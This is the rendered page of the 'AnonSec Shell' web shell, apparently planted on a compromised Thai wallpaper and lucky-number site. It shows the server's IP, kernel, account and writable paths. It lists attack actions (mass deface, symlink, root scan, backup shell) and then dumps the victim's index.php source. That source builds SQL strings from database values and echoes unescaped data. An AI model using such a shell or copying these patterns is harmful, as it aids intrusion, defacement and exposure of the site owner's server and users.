AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/wallpaper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/wallpaper//index.php
<?php include('../include/class.php');?>
<!DOCTYPE html>
<html lang="en">
  <head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->

    <link rel="apple-touch-icon" href="../image/icon.webp"/>
  	<link rel="apple-touch-icon" sizes="72x72" href="../image/icon.webp"/>
  	<link rel="apple-touch-icon" sizes="114x114" href="../image/icon.webp"/>

    <link rel="icon" href="../image/favicon.ico">
    <?php
    $og_title = 'วอลเปเปอร์สายมู';
    $description_fa = 'วอลเปเปอร์สายมู เพื่อความสิริมงคล ';
    $og_image = 'https://www.kainumber.com/wallpaper/600315.webp';
    $og_image2 = 'https://www.kainumber.com/wallpaper/600315.webp';
    $og_image3 = 'http://www.kainumber.com/wallpaper/600315.webp';
    ?>
    <?php
    $_SESSION["wal_member_login"]=0;
    $_SESSION['wal_member_id']=$_COOKIE[$cookie_name];
    if($_SESSION["wal_member_login"]==''){
      $_SESSION["wal_member_name"] = '';
      $_SESSION["wal_member_lastname"] = '';

    }
     ?>
     <?php include('../include/meta.php');?>

       <meta property="og:image"            content="<?php echo $og_image?>">
       <meta property="og:image:secure_url" content="<?php echo $og_image3?>">
       <meta property="og:image:type"       content="image/jpeg">
       <meta property="og:image:width"      content="600">
       <meta property="og:image:height"     content="315">
       <link href="../bootstrap-5/css/bootstrap.min.css" rel="stylesheet">
       <script src="../bootstrap/js/ie-emulation-modes-warning.js"></script>
       <script src="../include/function.js"></script>
     </head>

     <body>  <?php include('css/css2.php')?>

   <?php $menu = 'wallpaper';?>
   <?php include('theme/menu_1.php')?>
   <!-- /.baner -->
   <?php
   $list_bn = array('table'=>'wal_banner','where'=>'status = 1 ','order'=> "ORDER BY id DESC LIMIT 0 , 5");
   $view_bn = $view_db->view($list_bn);
   $result_bn = $view_db->q_re($view_bn);
   $num_rows_bn = mysqli_num_rows($result_bn);
   $num_rows_bn;
   if($num_rows_bn && $num_rows_bn>0){
   ?>
   <div class="container-fluid no_moblie" style="padding-right: 0px;padding-left: 0px;">
       <div id="carousel-example-generic" class="carousel slide" data-ride="carousel">
     <!-- Indicators -->
     <ol class="carousel-indicators">
     <?php
     for($i=1;$i<=$num_rows_bn;$i++)
     {
   	?><li data-target="#carousel-example-generic" data-slide-to="<?php echo $i-1;?>" <?php if($i==1){?>class="active"<?php }?>></li><?php
     }
     ?>
     </ol>

     <!-- Wrapper for slides -->
     <div class="carousel-inner" role="listbox">
     <?php
     $num = 1;
   		while($row_bn = $view_db->q_ro($result_bn))
   		{
   			?>

               <div class="item<?php if($num == 1){?> active<?php }?>">
               <?php
   			if($row_bn['url']<>''){?> <a href="<?php echo $row_bn['url']?>" target="_blank"><?php }
   			?>

               	<img src="../redbag/wal_banner/<?php echo $row_bn['image'];?>" >
                   <?php
   					if($row_bn['detail'] <> '')
   					{
   						?>
                           <div class="carousel-caption font_benner">
                               <div class="banner_text">
                               	<?php
   								echo $util_class->sub_str3($row_bn['detail'],'145');
   								?>
                               </div>
                           </div>
                           <?php
   					}
   				?>
                    <?php
   				if($row_bn['url']<>''){?></a><?php }
   				?>
               </div>

               <?php
   			$num++;
   		}
     ?>
     </div>

     <!-- Controls -->
       <a class="left carousel-control" href="#carousel-example-generic" role="button" data-slide="prev">
           <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"><img src="../image/icon_arrow_left.webp"  class="img-responsive"></span>
           <span class="sr-only">Previous</span>
       </a>
       <a class="right carousel-control" href="#carousel-example-generic" role="button" data-slide="next">
           <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"><img src="../image/icon_arrow_right.webp" width="30" height="50"  class="img-responsive"></span>
           <span class="sr-only">Next</span>
       </a>
   </div>
   </div>
   <?php } ?>
   <!-- /.baner -->
   <style>
   @media (max-width:1024px)
   {
   	.no_moblie_next{ display:none}
   }
   </style>
   <div class="no_moblie_next" style="position:fixed;margin-bottom: 99px;left:89%;bottom: 0;">
   <a href="#top"><img src="../image/icon_top.webp" width="79" height="79" /></a><br><br>
   <a href="https://www.facebook.com/kainumber/" target="_blank"><img src="../image/icon_facebook.webp" width="79" height="79" /></a>
   </div>

   <link rel="stylesheet" href="App.css?v=1">
   <?php
   function getMBStrSplit($string, $split_length = 1){
     mb_internal_encoding('UTF-8');
     mb_regex_encoding('UTF-8');

     $split_length = ($split_length <= 0) ? 1 : $split_length;
     $mb_strlen = mb_strlen($string, 'utf-8');
     $array = array();
     $i = 0;

     while($i < $mb_strlen)
     {
       $array[] = mb_substr($string, $i, $split_length);
       $i = $i+$split_length;
     }

     return $array;
   }

   function getSubStrTH($string, $start, $length){
     //$length = ($length+$start)-1;
     $array = getMBStrSplit($string);
     $return ="";
     //print_r($array);
     for($i=$start; $i < count($array); $i++)
     {
       //echo $array[$i];

       //echo preg_match("/[^ก-ฮA-Za-z0-9]+/", $array[$i]).'<br>';
       if( preg_match("/^[ก-ฮA-Za-z0-9]+$/", $array[$i]) ) {

         if($return==''){
           $return = $array[$i];
         }
       }
     }
     return $return;
   }

   $str = $_SESSION["wal_member_name"];
   $txt = getSubStrTH($str, 0, 1); // ประเทศไทย
    ?>
   <div class="container">
     <div class="row">
       <div class="col-md-2"></div>
       <div class="col-md-8">
         <div style="margin-top:0px;">
           <div align="center" class="logo_pb1 px-4 px-md-2">
           <img src="../image/wal_logo3.webp" width="500" height="110" class="img-fluid">
           </div>
         </div>

         <?php if(@$_SESSION["wal_member_name"]){ ?>
         <div id="txt"style="margin-top:15px;">
           <div align="center" style="display: flex; justify-content: center;align-items: center;">
             <div class="txt-p"><?php echo $txt; ?></div>
             <span style="padding-left: 8px;"><?php echo @$_SESSION["wal_member_name"]; ?></span>
           </div>
         </div>
       <?php } ?>

       </div>
     </div>

     <div class="row justify-content-center mb-3">
       <div class="col-12 col-md-3 text-center pt-2 pt-md-0 px-md-0">
         <button type="button" onclick="location.href='profile/wallpaper.php'" class="btn btn-kai1 w-fix h-fix bbox w-100">ดาว์นโหลดวอลเปเปอร์ที่ซื้อ</button>
       </div>
     </div>

       <div class="row">

           <div class="col-md-12">
             <div class="row justify-content-start justify-content-md-start " style="margin-top:0px;">

              <?php
            		$max_rows = 12; // แสดงจำนวนแถวต่อหน้า
            		$page_number = 0;
            		if(isset($_GET['page_number']))
            		{
            			 $page_number = $_GET['page_number'];
            		}

                $sql_s = 'status = "1"';

            		$all_array =  array('table'=>'wal_category','where'=>$sql_s);
            		$start_row = $page_number * $max_rows;
            		$all_sql = $view_db->view($all_array);
            		$all_result = $view_db->q_re($all_sql);
            		$total_rows = $view_db->q_nr($all_result);
            		$total_rows_num = mysqli_num_rows($all_result);
            		$total_pages = ceil($total_rows/$max_rows)-1;


            		////////////////////////////////////////
            		$list = array('table'=>'wal_category','where'=>$sql_s, 'limit'=> "$start_row,$max_rows",'order'=> "ORDER BY id DESC");
            		$view = $view_db->view($list);
            		$result = $view_db->q_re($view);
                $total_result = $view_db->q_nr($result);
            		$num_tr = 1;
            		$num = 1+($page_number*$max_rows);
                $category_n=array();
            		while($row_se = $view_db->q_ro($result))
            		{
                  $sql = array('table'=>'wallpapers','where'=>"name = '".$row_se['id']."'",'order'=> "ORDER BY id DESC");
                  $view = $view_db->view($sql);
                  $row_l = $view_db->q($view);

      			 ?>
                 <div class="col-6 col-sm-12 col-md-3 Divmeasure mb-3 pb-md-3 px-2" >

                         <div class="div_measure2" align="center">

                             <img src="../redbag/wallpaper/<?php echo ($row_l['image_show']!='')?$row_l['image_show']:$row_l['image']; ?>"
                             class="img-responsive2 div_measure2_img cursor-pointer"
                             onclick="window.location.href='home/index.php?typew=<?php echo $row_se['id']; ?>'" >
                             <label for="" class="mt-2"><?php echo $row_se['name']; ?></label>

                         </div>


                     </div>

               <?php } ?>
              </div>
              <div class="row" align="center" style="margin-top:30px;">
                  <div class="col-md-12 BerDedToday-page text-center d-flex justify-content-center" >
                  <?php
                  //echo $total_result;
                  $uri='';
                  if(@$_GET['typew']){
                    $uri='typew='.@$_GET['typew'];
                  }
                  if($total_rows_num > 0)
                  {
                       page_news($page_number,$total_pages,'index.php',$uri);
                  }
                  ?>
                </div>
              </div>
            </div>

           </div>
       </div>
   </div>


   <script type="text/javascript">
     <?php if(@$_SESSION['er']){ ?>
       alert('<?php echo $_SESSION['er']; ?>');
     <?php } ?>
   </script>
   <?php
   unset($_SESSION['er']);
   unset($_SESSION['con']);
    ?>
    <?php if($total_result < 5){ ?>
    <style media="screen">
    @media (max-width:768px) {
      .footer{
        position: fixed;
        right: 0;
        bottom: 0;
        left: 0;
        z-index: 1030;
      }

    }
    </style>

    <?php } ?>


   <!-- /.body -->
   <!--<div class="container bg-seamsi"><br><br>

   <!-- /.footer -->
   <style media="screen">
   @media (min-width: 1200px){
     .container {

     }
   }
   .footer{background-size: cover;}
   </style>
   <div class="footer">
   <div class="container" style="width: 100%;
       display: grid;
       justify-content: center;">
     <div class="row">
     	<div class="col-md-12">


           <ul class="menu_footer">
               <li style="margin-top:-10px;"><a href="#"><img src="../image/text_head_s.webp" width="185" height="34">&nbsp; </a></li>
               <li class="menu_footer_li"><a href="../home/index.php"><img src="../image/icon_home.webp" width="22" height="22"> &nbsp; &nbsp; หน้าหลัก</a></li>
               <li class="menu_footer_li"><a href="../aboutus/index.php">เกี่ยวกับเรา</a></li>
               <li class="menu_footer_li"><a href="../article/index.php">บทความ</a></li>
               <li class="menu_footer_li"><a href="../phonenumber/index.php">เบอร์มงคล</a></li>
               <li class="menu_footer_li"><a href="../reading/index.php">ทำนายเบอร์</a></li>
               <li class="menu_footer_li"><a href="index.php">วอลเปเปอร์มงคล</a></li>
               <li class="menu_footer_li"><a href="../ordermethod/index.php">วิธีชำระเงิน</a></li>
               <li class="menu_footer_li"><a href="../contact/index.php">ติดต่อเรา</a></li>
           </ul>

       </div>
     </div>
   </div>
   </div>
   <!-- /.footer -->
   <script src="../include/jquery11.js"></script>
   <script src="../bootstrap-5/js/bootstrap.min.js"></script>
   <script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>


   <link href="../plugin/Fullscreen-Loading/src/css/HoldOn.css" rel="stylesheet" type="text/css">
   <script src="../plugin/Fullscreen-Loading/src/js/HoldOn.js"></script>
   <script type="text/javascript" src="../plugin/bootstrapvalidator-master/dist/js/bootstrapValidator.js"></script>
   <script src="../include/function.js"></script>
   <script type="text/javascript" src="../plugin/jQuery-Mask-Plugin-master/jQuery-Mask-Plugin-master/dist/jquery.mask.min.js"></script>
   <script src="../plugin/sweetalert-master/dist/sweetalert.min.js"></script>
   <link rel="stylesheet" type="text/css" href="../plugin/sweetalert-master/dist/sweetalert.css">


   <link href="../plugin/datetimepicker/bootstrap-datetimepicker.css" rel="stylesheet">
   <script src="../plugin/datetimepicker/moment-with-locales.js"></script>
   <script src="../plugin/datetimepicker/bootstrap-datetimepicker.js"></script>

    <script>
   $(document).ready(function() {
     document.addEventListener('contextmenu', event => event.preventDefault());
       $('#fm_reading')
           .bootstrapValidator({
               framework: 'bootstrap',
               fields: {

                   phonenumber: {
                       validators: {
                           callback: {
                               callback: function(value, validator, $field) {
                                   var channel = $('#fm_reading').find('[name="type"]').val();

   								 if (channel == 'mobile') {
   									 if (value == '') {
   										return {
   											valid: false,
   											message: 'กรุณากรอกเบอร์โทรศัพท์'
   									   };
   									}else
   									{

   										if(isNaN(value))
   										{
   											return {
   												valid: false,
   												message: 'กรุณากรอกเบอร์โทรศัพท์เป็นตัวเลข 10 เท่านั้น'
   										   };
   										}
   										else
   										{
   											if(value.length < 10){
   												return {
   													valid: false,
   													message: 'กรุณากรอกเบอร์โทรศัพท์ 10 หลัก'
   												};
   											}else if(value.length > 10){
   												return {
   													valid: false,
   													message: 'กรุณากรอกเบอร์โทรศัพท์ 10 หลัก'
   												};
   											}
   										}
   									}
   								}
   								if (channel == 'idcard') {
   									    if (value == '') {
   										return {
   											valid: false,
   											message: 'กรุณากรอกหมายเลขบัตรประชาชน'
   									   };
   									}
   									else
   									{

   										if(isNaN(value))
   										{
   											return {
   												valid: false,
   												message: 'กรุณากรอกหมายเลขบัตรประชาชนเป็นตัวเลข 13 เท่านั้น'
   										   };
   										}
   										else
   										{
   											 if(value.length < 13){
   													return {
   														valid: false,
   														message: 'กรุณากรอกหมายเลขบัตรประชาชน 13 หลัก'
   													};
   												}else if(value.length > 13){
   													return {
   														valid: false,
   														message: 'กรุณากรอกหมายเลขบัตรประชาชน 13 หลัก'
   													};
   												}
   										}

   									}
   								}
   								if (channel == 'homenumber') {
   									    if (value == '') {
   										return {
   											valid: false,
   											message: 'กรุณากรอกเลขที่บ้าน'
   									   };
   									}
   								}
   								if (channel == 'licenseplate') {
   									    if (value == '') {
   										return {
   											valid: false,
   											message: 'กรุณากรอกทะเบียนรถ'
   									   };
   									}
   								}
   								return true;
                               }
                           }
                       }
                   }
               }
           })

   });
   </script>



   <script>
     (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
     (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
     m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
     })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

     ga('create', 'UA-71510694-1', 'auto');
     ga('send', 'pageview');

   </script>


   <!--infoonnud-->
   <script>
     (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
     (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
     m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
     })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

     ga('create', 'UA-93263607-1', 'auto');
     ga('send', 'pageview');

   </script>


     </body>
   </html>

Anon7 - 2022
AnonSec Team